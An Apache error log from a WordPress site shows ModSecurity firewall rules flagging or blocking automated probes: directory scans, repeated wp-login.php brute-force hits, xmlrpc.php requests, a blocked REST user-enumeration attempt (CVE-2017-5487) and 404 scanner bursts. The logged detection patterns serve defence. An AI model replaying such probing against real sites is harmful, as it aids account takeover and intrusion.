[Wed Apr 15 05:01:59.373180 2026] [autoindex:error] [pid 4067:tid 4139] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:59.672110 2026] [autoindex:error] [pid 4067:tid 4147] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:01.582690 2026] [autoindex:error] [pid 4067:tid 4142] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:02.216879 2026] [autoindex:error] [pid 4067:tid 4148] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:02.528618 2026] [autoindex:error] [pid 4067:tid 4134] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:08.209559 2026] [autoindex:error] [pid 4066:tid 4117] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:11.980700 2026] [autoindex:error] [pid 4066:tid 4125] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:23.046371 2026] [autoindex:error] [pid 4066:tid 4104] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:23.375662 2026] [autoindex:error] [pid 4066:tid 4105] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:25.242052 2026] [autoindex:error] [pid 4066:tid 4106] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:27.176903 2026] [autoindex:error] [pid 4066:tid 4122] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:32.959122 2026] [autoindex:error] [pid 4066:tid 4116] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:39.673226 2026] [autoindex:error] [pid 4066:tid 4107] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:47.642401 2026] [autoindex:error] [pid 4066:tid 4110] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:52.392022 2026] [autoindex:error] [pid 4066:tid 4126] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:02:52.915112 2026] [autoindex:error] [pid 4066:tid 4115] [client 45.131.195.197:59055] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:05:29.652708 2026] [:error] [pid 45504:tid 45509] [client 149.241.243.121:49369] [client 149.241.243.121] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ad6sGa3iO9_fE_IQEMkT_wAAAQM"]
[Wed Apr 15 05:06:59.580070 2026] [:error] [pid 4067:tid 4133] [client 149.241.243.121:50817] [client 149.241.243.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.241.243.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad6sc-5XHBJU8ZrRxZ0oCAAAAII"]
[Wed Apr 15 05:08:36.500636 2026] [:error] [pid 4065:tid 4087] [client 149.241.243.121:52260] [client 149.241.243.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.241.243.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad6s1AWArgJTHu2_6Oy7vAAAAAs"]
[Wed Apr 15 05:10:18.086857 2026] [:error] [pid 4169:tid 4186] [client 149.241.243.121:53714] [client 149.241.243.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.241.243.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad6tOh15U5D-N99n_jJq2AAAAM0"]
[Wed Apr 15 05:12:06.813842 2026] [:error] [pid 4169:tid 4189] [client 149.241.243.121:50318] [client 149.241.243.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.241.243.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad6tph15U5D-N99n_jJrwQAAANA"]
[Wed Apr 15 06:52:19.362971 2026] [:error] [pid 4067:tid 4131] [client 43.130.3.120:42592] [client 43.130.3.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ad7FI-5XHBJU8ZrRxZ1SIgAAAIA"]
[Wed Apr 15 07:02:12.621340 2026] [:error] [pid 4169:tid 4188] [client 45.146.54.47:35383] [client 45.146.54.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.47, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7HdB15U5D-N99n_jKlOAAAAM8"]
[Wed Apr 15 07:02:12.621434 2026] [:error] [pid 4169:tid 4174] [client 45.146.54.79:51129] [client 45.146.54.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7HdB15U5D-N99n_jKlOQAAAMI"]
[Wed Apr 15 07:12:10.723152 2026] [:error] [pid 4065:tid 4080] [client 45.146.54.82:46295] [client 45.146.54.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7JygWArgJTHu2_6OzaXwAAAAQ"]
[Wed Apr 15 07:12:10.723682 2026] [:error] [pid 4067:tid 4146] [client 45.131.194.115:57221] [client 45.131.194.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7Jyu5XHBJU8ZrRxZ1ZYwAAAI8"]
[Wed Apr 15 07:22:06.859893 2026] [:error] [pid 45504:tid 45523] [client 45.146.54.48:28343] [client 45.146.54.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7MHq3iO9_fE_IQEMl3TgAAARE"]
[Wed Apr 15 07:22:06.860032 2026] [:error] [pid 45504:tid 45511] [client 45.146.54.81:36581] [client 45.146.54.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7MHq3iO9_fE_IQEMl3TQAAAQU"]
[Wed Apr 15 07:32:05.257338 2026] [:error] [pid 45504:tid 45530] [client 45.146.54.65:29595] [client 45.146.54.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7Oda3iO9_fE_IQEMl-fgAAARg"]
[Wed Apr 15 07:32:05.257616 2026] [:error] [pid 45504:tid 45508] [client 45.146.54.85:54179] [client 45.146.54.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7Oda3iO9_fE_IQEMl-fwAAAQI"]
[Wed Apr 15 07:42:01.085519 2026] [:error] [pid 45504:tid 45507] [client 182.42.111.213:50845] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ad7Qya3iO9_fE_IQEMmGJAAAAQE"]
[Wed Apr 15 07:42:01.355391 2026] [:error] [pid 4067:tid 4152] [client 45.146.54.75:58085] [client 45.146.54.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7Qye5XHBJU8ZrRxZ1ixAAAAJU"]
[Wed Apr 15 07:42:01.355555 2026] [:error] [pid 4169:tid 4191] [client 45.146.54.52:20277] [client 45.146.54.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7QyR15U5D-N99n_jK6QQAAANE"]
[Wed Apr 15 07:51:57.089989 2026] [:error] [pid 30553:tid 30583] [client 45.146.54.44:58093] [client 45.146.54.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7THaWezn1lK_o0BrrUfAAAABg"]
[Wed Apr 15 07:51:57.090019 2026] [:error] [pid 30553:tid 30580] [client 45.146.54.53:37053] [client 45.146.54.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7THaWezn1lK_o0BrrUfQAAABU"]
[Wed Apr 15 08:02:01.623085 2026] [:error] [pid 30553:tid 30575] [client 45.146.54.44:62443] [client 45.146.54.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7VeaWezn1lK_o0BrrXaQAAABA"]
[Wed Apr 15 08:02:01.623432 2026] [:error] [pid 30553:tid 30564] [client 45.146.54.68:26827] [client 45.146.54.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7VeaWezn1lK_o0BrrXagAAAAU"]
[Wed Apr 15 08:12:08.828084 2026] [:error] [pid 30644:tid 30670] [client 45.146.54.70:26597] [client 45.146.54.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7X2K8vuyJ0N41zsM_fcQAAANQ"]
[Wed Apr 15 08:12:08.840941 2026] [:error] [pid 30555:tid 30624] [client 45.146.54.73:61717] [client 45.146.54.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7X2FTZEITMpQMsOnijCQAAAIo"]
[Wed Apr 15 08:22:09.235042 2026] [:error] [pid 30644:tid 30658] [client 45.146.54.46:46133] [client 45.146.54.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7aMa8vuyJ0N41zsM_l0QAAAMg"]
[Wed Apr 15 08:22:10.242266 2026] [:error] [pid 30644:tid 30674] [client 45.146.54.61:25129] [client 45.146.54.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7aMq8vuyJ0N41zsM_l1AAAANg"]
[Wed Apr 15 08:32:25.901055 2026] [:error] [pid 30555:tid 30634] [client 45.146.54.45:21987] [client 45.146.54.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7cmVTZEITMpQMsOnirHAAAAJQ"]
[Wed Apr 15 08:32:25.931656 2026] [:error] [pid 30553:tid 30567] [client 45.146.54.43:62285] [client 45.146.54.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7cmaWezn1lK_o0BrrgDgAAAAg"]
[Wed Apr 15 08:39:46.244450 2026] [:error] [pid 30644:tid 30664] [client 54.37.252.46:52502] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ad7eUq8vuyJ0N41zsM_uugAAAM4"]
[Wed Apr 15 08:39:48.203063 2026] [:error] [pid 30555:tid 30614] [client 54.37.252.46:44350] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ad7eVFTZEITMpQMsOnitrQAAAIA"]
[Wed Apr 15 08:39:50.215186 2026] [:error] [pid 30555:tid 30629] [client 54.37.252.46:44356] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ad7eVlTZEITMpQMsOnitsAAAAI8"]
[Wed Apr 15 08:39:52.233214 2026] [:error] [pid 30644:tid 30663] [client 54.37.252.46:44366] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ad7eWK8vuyJ0N41zsM_uxAAAAM0"]
[Wed Apr 15 08:39:54.235800 2026] [:error] [pid 30644:tid 30671] [client 54.37.252.46:43482] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ad7eWq8vuyJ0N41zsM_uywAAANU"]
[Wed Apr 15 08:39:56.250757 2026] [:error] [pid 30644:tid 30663] [client 54.37.252.46:43484] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ad7eXK8vuyJ0N41zsM_u0AAAAM0"]
[Wed Apr 15 08:39:58.256081 2026] [:error] [pid 30553:tid 30561] [client 54.37.252.46:43488] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ad7eXqWezn1lK_o0Brrh2QAAAAI"]
[Wed Apr 15 08:40:00.259825 2026] [:error] [pid 30553:tid 30577] [client 54.37.252.46:43500] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ad7eYKWezn1lK_o0Brrh2wAAABI"]
[Wed Apr 15 08:40:02.265069 2026] [:error] [pid 30644:tid 30665] [client 54.37.252.46:43502] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ad7eYq8vuyJ0N41zsM_u2wAAAM8"]
[Wed Apr 15 08:42:21.978491 2026] [:error] [pid 30644:tid 30665] [client 45.146.54.62:20445] [client 45.146.54.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7e7a8vuyJ0N41zsM_wvgAAAM8"]
[Wed Apr 15 08:42:21.981720 2026] [:error] [pid 30555:tid 30621] [client 45.146.54.67:53697] [client 45.146.54.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7e7VTZEITMpQMsOnivYQAAAIc"]
[Wed Apr 15 08:52:18.721362 2026] [:error] [pid 51186:tid 51207] [client 45.146.54.52:61879] [client 45.146.54.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7hQlfx1CjK_ZPfY1Q0eAAAAVM"]
[Wed Apr 15 08:52:18.730742 2026] [:error] [pid 51186:tid 51194] [client 45.146.54.63:39461] [client 45.146.54.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7hQlfx1CjK_ZPfY1Q0eQAAAUY"]
[Wed Apr 15 09:02:30.360105 2026] [:error] [pid 50234:tid 50259] [client 45.146.54.44:59071] [client 45.146.54.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7jptr0cDjH19-BoGybzwAAARc"]
